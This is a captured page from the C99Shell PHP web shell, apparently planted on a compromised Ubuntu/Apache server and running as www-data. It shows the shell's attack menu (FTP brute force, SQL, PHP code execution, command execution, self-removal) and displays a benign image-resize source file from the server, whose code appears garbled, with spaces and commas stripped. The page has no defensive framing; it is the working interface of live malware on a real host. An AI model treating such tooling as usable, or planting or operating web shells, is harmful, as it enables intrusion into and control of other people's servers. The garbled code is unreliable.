!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/intervention/image/src/Intervention/Image/Gd/Commands/   drwxr-xr-x
Free 13.25 GB of 57.97 GB (22.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResizeCommand.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Intervention\Image\Gd\Commands;

use 
Intervention\Image\Commands\AbstractCommand;

class 
ResizeCommand extends AbstractCommand
{
    
/**
     * Resizes image dimensions
     *
     * @param  \Intervention\Image\Image $image
     * @return boolean
     */
    
public function execute($image)
    {
        
$width $this->argument(0)->value();
        
$height $this->argument(1)->value();
        
$constraints $this->argument(2)->type('closure')->value();

        
// resize box
        
$resized $image->getSize()->resize($width$height$constraints);

        
// modify image
        
$this->modify($image0000$resized->getWidth(), $resized->getHeight(), $image->getWidth(), $image->getHeight());

        return 
true;
    }

    
/**
     * Wrapper function for 'imagecopyresampled'
     *
     * @param  Image   $image
     * @param  int     $dst_x
     * @param  int     $dst_y
     * @param  int     $src_x
     * @param  int     $src_y
     * @param  int     $dst_w
     * @param  int     $dst_h
     * @param  int     $src_w
     * @param  int     $src_h
     * @return boolean
     */
    
protected function modify($image$dst_x$dst_y$src_x$src_y$dst_w$dst_h$src_w$src_h)
    {
        
// create new image
        
$modified imagecreatetruecolor($dst_w$dst_h);

        
// get current image
        
$resource $image->getCore();

        
// preserve transparency
        
$transIndex imagecolortransparent($resource);

        if (
$transIndex != -1) {
            
$rgba imagecolorsforindex($modified$transIndex);
            
$transColor imagecolorallocatealpha($modified$rgba['red'], $rgba['green'], $rgba['blue'], 127);
            
imagefill($modified00$transColor);
            
imagecolortransparent($modified$transColor);
        } else {
            
imagealphablending($modifiedfalse);
            
imagesavealpha($modifiedtrue);
        }

        
// copy content from resource
        
$result imagecopyresampled(
            
$modified,
            
$resource,
            
$dst_x,
            
$dst_y,
            
$src_x,
            
$src_y,
            
$dst_w,
            
$dst_h,
            
$src_w,
            
$src_h
        
);

        
// set new content as recource
        
$image->setCore($modified);

        return 
$result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0099 ]--